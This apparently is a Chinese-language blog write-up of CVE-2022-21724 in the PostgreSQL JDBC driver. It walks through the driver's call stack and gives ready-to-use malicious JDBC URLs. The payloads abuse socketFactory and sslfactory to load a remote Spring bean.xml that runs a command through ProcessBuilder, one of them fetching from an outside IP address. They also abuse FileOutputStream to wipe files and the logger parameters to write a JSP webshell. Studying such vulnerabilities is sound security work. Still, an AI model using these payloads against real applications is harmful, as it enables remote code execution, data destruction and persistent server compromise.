0%

PostgreSQL JDBC (CVE-2022-21724)

PostgreSQL JDBC (CVE-2022-21724)

任意代码执行 socketFactory/socketFactoryArg

跟着大佬的调用栈一步步分析

首先在Driver的connect方法处下个断点

img

调用makeConnection方法,跟进

img

返回一个PgConnection对象,跟进其构造方法

img

会调用ConnectionFactory.openConnection方法

img

实例化了一个ConnectionFactoryImpl对象,并调用了它的openConnectionImpl方法

img

调用了SocketFactoryFactory的getSocketFactory方法

img

首先是socketFactoryClassName的获取,在info中获取socketFactory的值,默认值为null其中info记录着扩展信息,host,数据库名,port等信息,那么可以通过扩展参数设置socketFactory的值 我们需要设置socketFactory不为空,以利⽤ObjectFactory.instantiate⽅法,跟进这个方法

img

通过反射实例化了一个类,而这个类是我们可以控制的,并且stringarg也是可控的

那我们接下来要做的事情便是寻找一个类:这个类既能对web应用造成伤害,又需要这个类的构造方法只有⼀个参数,而且参数类型为String

java.io.FileOutputStream类

对应的构造方法

img

如果指定的文件已经存在,并且append设置为false,则文件的内容将被清空,并写⼊新的数据。 那么可以利用这个类清空文件内容

1
jdbc:postgresql://localhost:5432/test?socketFactory=java.io.FileOutputStream&socketFactoryArg=C:\\Users\\杨晨鑫\\Desktop\\1.txt

img

org.springframework.context.support.ClassPathXmlApplicationContext类

实例化ClassPathXmlApplicationContext类,可以加载并解析classpath下指定的XML配置⽂件,从⽽创建⼀个包含所有配置的应 ⽤上下⽂。

对应的构造方法

img

会调用refresh方法,在refresh⽅法中,会调⽤obtainFreshBeanFactory⽅法,该⽅法内⼜会调⽤refreshBeanFactory⽅法,调⽤loadBeanDefinitions⽅法,会⼀直调⽤到AbstractXmlApplicationContext#loadBeanDefinitions⽅法

img

configResources默认为空,那么会获取ConfigLocations作为classpath去加载并且解析xml 那么需要⼀个恶意xml⽂件,poc通过SpEL表达式来造成RCE

bean.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<!-- 普通方式创建类-->
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>calc.exe</value>
</list>
</constructor-arg>
</bean>
</beans>

启动一个http服务,目录下放入bean.xml文件

payload:

1
jdbc:postgresql://localhost:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1:8080/bean.xml

img

任意代码执行 sslfactory/sslfactoryarg

我们回到ConnectionFactoryImpl类的openConnectionImpl方法,还会调用一个tryConnect方法

img

跟进tryConnect方法

img

这个if条件是成立的,因为isGssEncrypted()默认为false

img

调用enableSSL方法,跟进,找到以下代码

img

当pgStream.receiveChar()方法接收到的字符为S时会调用这个convert方法,先跟进一下这个方法

img

又调用了SocketFactoryFactory.getSslSocketFactory(info)方法

img

这个方法即可以实例化一个类,和刚刚的就是一样的了,其类名和参数由sslfactory和sslfactoryargs两个扩展参数传递

payload

1
jdbc:postgresql://localhost:5432/test?sslfactory=org.springframework.context.support.ClassPathXmlApplicationContext&sslfactoryarg=http://101.42.52.114:8080/bean.xml

现在需要解决PostgreSQL响应的第一个字母为S

我们先监听一个5432端口以阻止pg请求,然后键入S即可

img

任意文件写⼊ loggerLevel/loggerFile

回到Driver.connect方法,在调用makeConnection方法之前还会调用setupLoggerFromProperties方法,跟进

img

img

必须让driverLogLevel不为null,继续

img

必须让driverLogFile不为null并且和loggerHandlerFile一致

如果这些条件都满足,那么就会调用LOGGER.log(Level.FINE, "Connecting with URL: {0}", url);

利⽤这个思路可做JSP WebShell,将JSP恶意代码添加进URL中,然后⼀起写进文件中

payload

1
jdbc:postgresql://localhost:5432/test?loggerLevel=debug&loggerFile=ycxhhh.txt&ycxlo

img